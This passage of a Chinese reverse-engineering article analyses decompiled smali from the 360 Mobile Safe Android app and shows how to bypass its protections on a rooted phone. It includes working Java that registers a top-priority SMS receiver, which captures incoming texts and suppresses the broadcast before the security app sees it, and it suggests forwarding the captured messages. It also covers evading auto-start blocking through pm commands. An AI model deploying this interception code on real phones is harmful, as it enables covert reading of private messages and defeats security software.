击溃360手机卫士的三大防护
360作为国内专业的安全公司,在安全界的水平是有目共睹的,我们抛开它在经营与病毒防治上的一些极端措施,就其产品技术性而言,是广大安全爱好者应该学习的。今天我与大家探讨下在Android平台上360手机卫士这款产品其本身的安全性,并将自己研究时的一点小成果拿出来与大家分享。Android手持设备的私密性注定了这是一个敏感话题,在开始本文前,我郑重声明:本文的宗旨是让大家看到Android平台的可能的攻击方式,仅供技术学习交流,任何个人与组织不得用文中提到的技术手段对其它人或组织进行非法攻击,由此带来的一切法律责任本人概不负责。
测试环境
360手机卫士不支持在模拟器上使用,我使用ROOT过的(本文所有研究测试条件建立在手机已获得ROOT权限的情况下)国行MOTO XT615进行安装测试,而360的版本选择了最新的“360手机卫士贺岁版 2.5.1”,APK的反编译工具由于方便而选择了ApkTool_GUI,Smali代码的查看与分析选择了Editplus(IDA PRO6.1也可以,只是对包名的显示不太友好,自己写插件的话也行,不过不在讨论范围),另外ApkTool_GUI有个dex2jar功能,也可以做辅助分析(只是生成的代码不是很准确,对于synthetic类型的方法不生成代码)。编写与调试代码用到了Eclipse,调试信息的查看与XML文件的导出用到了DDMS。准备好调试环境后,正确安装360手机卫士,开始360保护功能的艰苦分析之旅吧!
短信拦截
360手机卫士第一个强大的功能就是垃圾短信与电话的拦截,它的实现方式主要通过创建广播对信息与电话进行拦截,然后将其阻断。
打开“AndroidManifest.xml”文件,会发现里面有一个名为“com.qihoo360.mobilesafeguard”的provider,然后是N多的service与receiver,短信的拦截就用到了下面这个receiver:
<receiver android:name=".mms.receiver.MmsReceiver"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.mms-message" /> </intent-filter> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.sic" /> </intent-filter> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.slc" /> </intent-filter> </receiver>
Android的广播有无序广播与有序广播两种,静态注册的广播属于有序广播,通过设置“priority”来设置广播优先级。系统默认设置范围是-1000~1000之间,但SDK中可能没有明确的数值限定,可以看到360将priority设置为了2147483647,也就是32位有符号数的最大值。也就是试图设置最高响应优先级。Android系统会首先响应优先级高的广播,然后响应优先级低的,另外动态注册的广播又比静态注册的广播优先级高,如果优先级相同就响应最早安装的程序,而优先级是“adb install”高于“adb push后安装”方式。
运行360手机卫士,可以看到它启动了一个进程与五个服务,服务名分别为“NetTraficService”、“safeGuardMmsService”、“PowerCtlService”、“SafeManageService”、“SafeGuardCallService”,在“safeGuardMmsService”的onCreate()方法中又创建了级别最高的动态广播接收者。具体分析代码我下面会讲到(360所有服务位于“smali\com\qihoo360\mobilesafe\service”文件夹下,所有的广播接收者位于“smali\com\qihoo360\mobilesafe\receiver”文件夹下),手动杀掉360进程根本不影响短信的拦截,下面说下过掉360短信拦截的两种思路:
1.360短信拦截借助了自己优先响应广播的优势获取信息后就中断了广播,我们要做的是在它之前先响应广播,而且360在静态广播中创建了服务,并再次动态创建了同类型的广播接收者,所以优先级很高,要过掉它我们就必须在它的前面注册广播接收者,或者干掉它所有的进程与服务不让它运行。显然后者动作太过于明显,不太适合。
2.将APK编译成系统程序,如:加入系统进程、使用Framework的签名文件进行签名等等。这样可能会优先接收到广播。不过由于时间原因,未测试此方法是否可行。
上面第一种思路是分析所得的结果,思路如下,首先,要知道360是何时注册的广播接收者,打开“smali\com\qihoo360\mobilesafe\receiver\MessageReceiver.smali”文件,它就是短信接收者,直接看“onReceive(Landroid/content/Context;Landroid/content/Intent;)V”代码如下:
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals 5 const/4 v4, 0x0 sget-boolean v0, Lcom/qihoo360/mobilesafe/service/MobileSafeService;->c:Z if-eqz v0, :cond_0 sget-boolean v0, Lcp;->f:Z if-eqz v0, :cond_1 :cond_0 :goto_0 #MobileSafeService->c与cp->f条件判断 return-void :cond_1 const-class v0, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService; # ☻获取SafeGuardMmsService类 -->> v0 = SafeGuardMmsService.class ☻ invoke-virtual {p2, p1, v0}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)Landroid/content/Intent; #☻ p2为第二个参数, -->> p2.setClass(参数1, SafeGuardMmsService.class);☻ invoke-static {}, Lawv;->a()I move-result v0 const-string v1, "MessageReceiver" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "onReceive::SDKVer =" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #调用als->b(),猜测为打log const/4 v1, 0x4 if-le v0, v1, :cond_2 #判断SDK版本是否大于4 :try_start_0 const-class v1, Landroid/content/BroadcastReceiver; const-string v2, "isOrderedBroadcast" #是否为有序广播 const/4 v0, 0x0 check-cast v0, [Ljava/lang/Class; invoke-virtual {v1, v2, v0}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; #获取方法,用来判断是否为有序广播 move-result-object v1 const/4 v0, 0x0 check-cast v0, [Ljava/lang/Object; #0类型转换为Object invoke-virtual {v1, p0, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; #调用判断方法 move-result-object v0 check-cast v0, Ljava/lang/Boolean; invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z #结果转换为Boolean值 :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 move-result v0 :goto_1 if-eqz v0, :cond_3 #如果为0就跳走(开启保护),为有序广播就继续处理 invoke-direct {p0, p1, p2}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;->a(Landroid/content/Context;Landroid/content/Intent;)V #☻ 调用a()方法☻ :goto_2 invoke-static {p1}, Lcp;->c(Landroid/content/Context;)V goto :goto_0 #返回 :catch_0 #catch处理 move-exception v0 const-string v1, "MessageReceiver" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "invoke error " #生成错误提示字符串 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String; move-result-object v0 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-static {v1, v0}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #这里打log显示 move v0, v4 goto :goto_1 :cond_2 move v0, v4 goto :goto_1 :cond_3 invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; #☻ 启用了SafeGuardMmsService服务(开启舒肤佳短信服务*^_^*)☻ goto :goto_2 .end method
在onReceive()收到广播后,对消息进行判断,对是否为有序广播执行了a()与开启舒肤佳服务的两个分支,a()方法是很典型的消息处理代码,收到消息后对广播进行了中断,由于代码过长,我就不帖出来了,大家可以自己打开Small看看,另一个是SafeGuardMmsService了,它的onCreate()代码如下:
.method public onCreate()V .locals 4 invoke-super {p0}, Lcom/qihoo360/mobilesafe/service/MobileSafeService;->onCreate()V const-string v0, "SafeGuardMmsService" const-string v1, "onCreate" invoke-static {v0, v1}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #这里打LOG new-instance v0, Lhl; invoke-direct {v0, p0}, Lhl;-><init>(Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;)V sput-object v0, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->d:Landroid/database/ContentObserver; invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->getContentResolver()Landroid/content/ContentResolver; # getContentResolver()获取ContentResolver move-result-object v0 sget-object v1, Landroid/provider/Telephony$Sms;->CONTENT_URI:Landroid/net/Uri; const/4 v2, 0x1 #获取短信的CONTENT_URI,后面对它进行监视 sget-object v3, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->d:Landroid/database/ContentObserver; invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V #注册短信数据库监视器对短信数据库变化进行监听 const/4 v0, 0x0 sput-boolean v0, Lac;->a:Z new-instance v0, Landroid/content/IntentFilter; const-string v1, "android.provider.Telephony.SMS_RECEIVED" #这个太熟悉了,用来注册短信广播接收者 invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V const v1, 0x7fffffff invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V #设置最高的优先级 new-instance v1, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver; invoke-direct {v1}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;-><init>()V sput-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->h:Lcom/qihoo360/mobilesafe/receiver/MessageReceiver; sget-object v1, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->h:Lcom/qihoo360/mobilesafe/receiver/MessageReceiver; invoke-virtual {p0, v1, v0}, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; # ☻动态注册短信广播接收者☻ return-void .end method
看看,有没有?有没有?在静态广播中创建一个服务,在服务中又动态创建一个广播,真可谓是用心良苦啊!那这个MessageReceiver何时收到?服务何时启动呢?我没有再深入了,不过它不是在开机启动广播中启动的,这为我们下一步的成功照亮了方向啊,下面是证据:
打开“BootActionReceiver.smali”文件,看它的onReceive()方法:
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals 2 invoke-static {}, Landroid/os/SystemClock;->uptimeMillis()J move-result-wide v0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;->d:J invoke-static {}, Ljava/lang/System;->currentTimeMillis()J #上面只保存了几个时间值,体检时用的 move-result-wide v0 sput-wide v0, Lcom/qihoo360/mobilesafe/ui/index/MobileSafeApplication;->c:J invoke-static {p1}, Lom;->a(Landroid/content/Context;)V #这里调用了om-a()方法 return-void .end method
对om-a()方法继续跟踪:(找到om.smali文件打开之)
.method public static a(Landroid/content/Context;)V .locals 3 const/4 v2, 0x1 new-instance v0, Lafc; invoke-direct {v0, p0}, Lafc;-><init>(Landroid/content/Context;)V invoke-virtual {v0}, Lafc;->i()Z move-result v0 if-eqz v0, :cond_0 new-instance v0, Landroid/content/Intent; const-class v1, Lcom/qihoo360/mobilesafe/protection/PhoneProtectionLockWindow; invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V const-string v1, "PROTECTION_LOCK" invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent; invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; #这里启动了PROTECTION_LOCK,不管了 :cond_0 sget-boolean v0, Lom;->d:Z if-nez v0, :cond_1 sput-boolean v2, Lom;->d:Z new-instance v0, Laam; const-string v1, "SimCheckService" invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context; move-result-object v2 invoke-direct {v0, v1, v2}, Laam;-><init>(Ljava/lang/String;Landroid/content/Context;)V sput-object v0, Lom;->e:Laam; sget-object v0, Lom;->e:Laam; invoke-virtual {v0}, Laam;->start()V #这里启动了SimCheckService,不管了 :cond_1 return-void .end method
可以看到,在开机广播中,360手机卫士没有直接动态的注册短信广播接收者,我们可以在启动自己程序时动态安装个权限最高的短信广播,这样就会优先于360收到短信了。
下面开始写测试程序,看看我开机广播的代码:
public class BootCompletedReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Log.i("Test360", "系统启动完毕..."); Test360Activity.StartActivity(context); Intent service = new Intent(context, Test360Service.class); context.startService(service); //在开机后启动一个服务 } }
我如法炮制,在接收到开机广播的时候启动了一个服务,服务的OnCreate()代码如下:
@Override public void onCreate() { Log.i(TAG, "onCreate"); IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter.setPriority(2147483647); MmsReceiver receiver = new MmsReceiver(); registerReceiver(receiver, localIntentFilter); //动态创建一个优先级最高的短信广播接收者 IntentFilter localIntentFilter2 = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter2.setPriority(2147483647); ShutdownReceiver receiver2 = new ShutdownReceiver(); registerReceiver(receiver2, localIntentFilter2); //动态创建一个关机广播接收者 super.onCreate(); }
我动态创建了一个优先级为2147483647的短信广播接收者,收到短信后我只是简单的启动了程序的主Activity并Toast显示出短信(当然,你也可以自己处理它,如发送出去,或直接屏蔽掉,具体代码留给读者自己来实现),代码如下:
public class MmsReceiver extends BroadcastReceiver{ String receiveMsg = ""; @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub SmsMessage[] Msg = null; if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){ Test360Activity.StartActivity(context); Log.i("Test360", "收到短信广播..."); Bundle bundle = intent.getExtras(); if(bundle != null){ Object[] pdusObj = (Object[])bundle.get("pdus"); Msg = new SmsMessage[pdusObj.length]; for(int i = 0; i < pdusObj.length; i++){ Msg[i] = SmsMessage.createFromPdu((byte[])pdusObj[i]); } for(int i = 0; i < Msg.length; i++){ String MsgTxt = Msg[i].getOriginatingAddress() + " : " + Msg[i].getMessageBody(); //短信发件人与文本 Toast.makeText(context, MsgTxt, Toast.LENGTH_LONG).show(); //Toast显示短信 } abortBroadcast(); //中断广播 } } } }
代码写好了,我重启手机,发送两条查询指令给10010,看看测试效果如图1:
测试程序优先收到了短信,而360,哑了......
开机启动
在Android手机拥有ROOT权限的时候,360开启了一个开机加速的功能,如图2所示:
点击上面任意一项或一键加速就可以取消该程序的开机自启动,这个功能立刻引起了我的好奇。学习过Android开发的可能都会知道,通过添加对“android.intent.action.BOOT_COMPLETED”处理的广播就可以实现开机启动时执行自己的一段代码,可是如何禁用开机启动大多数人都不知道,于是就有了想弄明白它的念头。
首先用ApkTool_GUI反编译360的APK主程序,会提示反编译错误,不用理会,可能是360有反编译手段,不过我们要分析的代码都已经成功的反编译出来了。在反汇编的Smali文件夹中搜索“android.intent.action.BOOT_COMPLETED”,我们可以很快发现“AutoRunManager.smali”与“ExamMain.smali”两个文件中有结果,我们通过文件名果断的判断第一个文件是我们要分析的重点,它位于“smali\com\qihoo360\mobilesafe\opti\autorun”文件夹。打开“AutoRunManager.smali”文件,我们发现“AutoRunManager”类是继承自“android/app/Activity”。搜索“android.intent.action.BOOT_COMPLETED”,发现在.“method private a(ZZ)”、“method private e()V”、“method public onCreate(Landroid/os/Bundle;)V”三处发现有调用。先到onCreate()方法中看看,代码被Proguard过,很难阅读,不过我们可以简单的判断它只是进行了初始化,然后启动一个AsyncTask。关键代码不在这里,限于篇幅就不列出来了。那怎么找关键点呢?我们看看上面显示的图,知道点击一键加速按钮与任意一栏的List后会执行加速动作,我们仔细观察会发现在“onCreate(Landroid/os/Bundle;)V”方法的下面有个public onItemClick()方法,代码如下:
.method public onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V .locals 3 const/4 v1, 0x0 invoke-virtual {p1}, Landroid/widget/AdapterView;->getId()I #获取ID move-result v0 packed-switch v0, :pswitch_data_0 #Switch语句调用 :cond_0 :goto_0 :pswitch_0 #分支0 return-void :pswitch_1 #分支1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->x:I iget-boolean v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->p:Z if-nez v0, :cond_1 #☻通过p是否为真来进行相应的操作☻后面分析发现是启用还是禁止的Boolean值 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #刷新显示 goto :goto_0 :cond_1 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; if-eqz v0, :cond_2 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; iget-boolean v0, v0, Lank;->b:Z if-eqz v0, :cond_2 #u与u->b不能为空 if-ltz p3, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->K:Ljava/util/List; invoke-interface {v0}, Ljava/util/List;->size()I #获取List的大小 move-result v0 if-ge p3, v0, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->c:Landroid/widget/ListView; invoke-virtual {v0, p3}, Landroid/widget/ListView;->getItemAtPosition(I)Ljava/lang/Object; move-result-object v0 #获取选中项 check-cast v0, Lads; iput-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->C:Lads; #保存到C中 iput-boolean v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->D:Z iget-boolean v1, v0, Lads;->e:Z if-eqz v1, :cond_0 :try_start_0 const-string v1, "" const v2, 0x7f0b0481 invoke-virtual {p0, v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->getText(I)Ljava/lang/CharSequence; move-result-object v2 #获取进度对话框显示的字符串 invoke-static {p0, v1, v2}, Landroid/app/ProgressDialog;->show(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog; #显示进度对话框 move-result-object v1 iput-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->w:Landroid/app/ProgressDialog; :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1 :goto_1 iget-object v1, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v1}, Ljava/util/ArrayList;->size()I move-result v1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->E:I #保存列表项数 iget-object v0, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; #获取List迭代器 move-result-object v1 :goto_2 #开始循环处理 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z #是否处理完 move-result v0 if-eqz v0, :cond_0 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Laqo; iget-object v0, v0, Laqo;->b:Ljava/lang/String; #获取要处理的字符串,分析为APK包名 invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->b(Ljava/lang/String;)V goto :goto_2 # ☻调用b(Ljava/lang/String;)V后继续循环☻ :cond_2 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #f()刷新显示 goto :goto_0 #方法返回 :pswitch_2 #分支2 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->x:I iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; if-eqz v0, :cond_3 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; iget-boolean v0, v0, Lank;->b:Z if-eqz v0, :cond_3 if-ltz p3, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->L:Ljava/util/List; invoke-interface {v0}, Ljava/util/List;->size()I move-result v0 if-ge p3, v0, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->d:Landroid/widget/ListView; invoke-virtual {v0, p3}, Landroid/widget/ListView;->getItemAtPosition(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Lads; iput-object v0, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->C:Lads; const/4 v1, 0x1 iput-boolean v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->D:Z iget-boolean v1, v0, Lads;->e:Z if-nez v1, :cond_0 :try_start_1 const-string v1, "" const v2, 0x7f0b0482 invoke-virtual {p0, v2}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->getText(I)Ljava/lang/CharSequence; move-result-object v2 invoke-static {p0, v1, v2}, Landroid/app/ProgressDialog;->show(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/app/ProgressDialog; #获取显示的字符串 move-result-object v1 iput-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->w:Landroid/app/ProgressDialog; #显示进度对话框 :try_end_1 .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0 :goto_3 iget-object v1, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v1}, Ljava/util/ArrayList;->size()I #需要处理的条数 move-result v1 iput v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->E:I iget-object v0, v0, Lads;->b:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; #List处理迭代器 move-result-object v1 :goto_4 #循环处理开始 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z #是否处理完 move-result v0 if-eqz v0, :cond_0 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Laqo; iget-object v0, v0, Laqo;->b:Ljava/lang/String; invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;)V goto :goto_4 #☻调用a(Ljava/lang/String;)V后跳走☻ :cond_3 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->f()V #f()V方法刷新显示 goto/16 :goto_0 :catch_0 move-exception v1 goto :goto_3 :catch_1 move-exception v1 goto/16 :goto_1 :pswitch_data_0 .packed-switch 0x7f0a0032 #3个分支 :pswitch_1 :pswitch_0 :pswitch_2 .end packed-switch .end method
这个“onItemClick(Landroid/widget/AdapterView;Landroid/view/View;IJ)V”是列表点击事件的完整处理代码,虽然被混淆过,仔细的分析还是能看出代码通过三个Switch分支对不同的状况进行了处理,为0直接返回,而1与2的情况整体上差不多,只是在迭代处理的时候分别调用了“b(Ljava/lang/String;)V”与“a(Ljava/lang/String;)V”方法,看看“b(Ljava/lang/String;)V”的代码:
.method private b(Ljava/lang/String;)V .locals 1 const-string v0, "disable" invoke-direct {p0, v0, p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;Ljava/lang/String;)V return-void .end method
只是传递了“disable”字符串然后调用了“a(Ljava/lang/String;Ljava/lang/String;)V”方法,代码如下:
.method private a(Ljava/lang/String;Ljava/lang/String;)V .locals 3 new-instance v0, Ljava/lang/StringBuffer; const-string v1, "pm" invoke-direct {v0, v1}, Ljava/lang/StringBuffer;-><init>(Ljava/lang/String;)V #"pm" const-string v1, " " invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm " 注意:后面加了空格 invoke-virtual {v0, p1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 参数1" const-string v1, " " invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 参数1 "注意:后面加了空格 const-string v1, "$" const-string v2, "\\$" invoke-virtual {p2, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; move-result-object v1 #在参数2前面添加“\\” invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer; #"pm 参数1 \\参数2" iget-object v1, p0, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->u:Lank; #这个u怀疑为进程 invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String; #将组合后的Buffer转换为字串 move-result-object v0 invoke-virtual {v1, v0}, Lank;->a(Ljava/lang/String;)V #执行组合好的字符串 return-void .end method
这段代码功能就是执行“pm disable XXX”,我们再看看“a(Ljava/lang/String;)V”的代码:
.method private a(Ljava/lang/String;)V .locals 1 const-string v0, "enable" invoke-direct {p0, v0, p1}, Lcom/qihoo360/mobilesafe/opti/autorun/AutoRunManager;->a(Ljava/lang/String;Ljava/lang/String;)V return-void .end method
哈哈!很清楚很明了吧,执行的是“pm enable XXX”。后来我发现pm是Android中自带的一个包管理器,新建一个“adb shell”后,输入pm命令返回如图3所示:
意思是传入“package/class”就可以启用或禁止一个包的类名了,到这里360的禁止开机启动的方法真相大白了。我们可以在自己创建的服务代码里面加上“pm enable XXX”来启动自己,但是在实际测试过程中,我们的程序开机还是没有开机启动,很显然,360这个“pm disable XXX”在我们的程序启动前执行了一次,这真是让人头大啊,怎么办?我关掉了360的进程与服务,等一会儿,手机锁屏了,我解锁后神奇的发现360又复活了!!!查看360的“AndroidManifest.xml”文件发现它还有个锁屏广播,在解锁后又启动了360手机卫士,在初始化时就执行了“pm disable XXX”(这里的XXX为要禁用的APK软件包与类名,360自己维持黑白名单的),锁屏广播代码就不帖了,我想了想绕过的方法,难道只能自己动手改写360的黑白名单,我又再弄下去了,而是如潮炮制的自己动手整了个锁屏的广播接收者,把自己要的功能代码加进去而以,等有时间我会继续深入下去的。
隐私空间
想当年,《手机》这部电影带来的影响可是闹腾了多少男人的心啊,女孩们都学会了翻自己男朋友的手机...偷看短信、查通话记录。然后吵架、打架、分手......跟电影上演的可真是一样一样的。给自己通讯记录加密也成为了很多男士的梦想,现如今Android平台手机的用户可真有了福音,因为最新的360手机卫士就带了“隐私空间”这个功能(呵呵,涉嫌帮360做广告),如图4所示:
首次进入“隐私空间”需要设置访问密码,以后访问“隐私空间”就需要输入密码来授权访问了,在“隐私空间”中,可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。这个功能真是太好了......
“隐私空间”真如名字说的那样隐私么?带着好奇心,我开始了分析:打开“输入密码”这个界面,随便输入错误的密码,程序提示“密码错误,请重试”。在反汇编出的360 Smali文件夹中搜索错误提示,无果,说明提示信息可能进行了加密。我们换换思路,点击界面上的忘记密码,会弹出一个提示,如果先前有设置密码找回Email的话会提示发送新密码到设置的邮箱,如图5所示:
我们可否从这个Email入手呢?在文件夹中搜索“email”,“PrivateSetupPreference.smali”文件映入眼帘,它位于“smali\com\qihoo360\mobilesafe\ui\privatespace”,看文件名猜想应该是“隐私空间”设置页面,用Editplus打开之,点击“View”-“Code Folding”->“Collapse All”将所有的方法收拢,看看有哪些方法。首先看到了“onCreate(Landroid/os/Bundle;)V”,我们看看代码:
.method protected onCreate(Landroid/os/Bundle;)V .locals 3 invoke-super {p0, p1}, Landroid/preference/PreferenceActivity;->onCreate(Landroid/os/Bundle;)V const-string v0, "PrivateSetupPreference" const-string v1, "onCreate" invoke-static {v0, v1}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #调用als->b() invoke-static {}, Lauj;->b()Z #auj-b(),搜索后发现只有一句“sget-boolean v0, Lauj;->e:Z”,作用不明了... move-result v0 if-nez v0, :cond_1 invoke-static {p0}, Lauj;->a(Landroid/app/Activity;)V #查看auj.smali文件发现是生成一个DialogFactory并显示,此处就不展开了,后面会有说到 :cond_0 :goto_0 return-void :cond_1 const v0, 0x7f030098 invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->setContentView(I)V #设置View invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getListView()Landroid/widget/ListView; move-result-object v0 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources()Landroid/content/res/Resources; move-result-object v1 #获取资源 const v2, 0x106000d invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getColor(I)I #获取颜色值 move-result v1 invoke-virtual {v0, v1}, Landroid/widget/ListView;->setCacheColorHint(I)V #setCacheColorHint() invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources()Landroid/content/res/Resources; move-result-object v1 const v2, 0x7f020083 invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable; move-result-object v1 invoke-virtual {v0, v1}, Landroid/widget/ListView;->setDivider(Landroid/graphics/drawable/Drawable;)V const v0, 0x7f050003 #setDivider() invoke-virtual {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->addPreferencesFromResource(I)V const-string v0, "private_auto_sms_content" invoke-direct {p0, v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a(Ljava/lang/String;)Landroid/preference/ListPreference; move-result-object v0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->f:Landroid/preference/ListPreference; iget-object v0, p0, 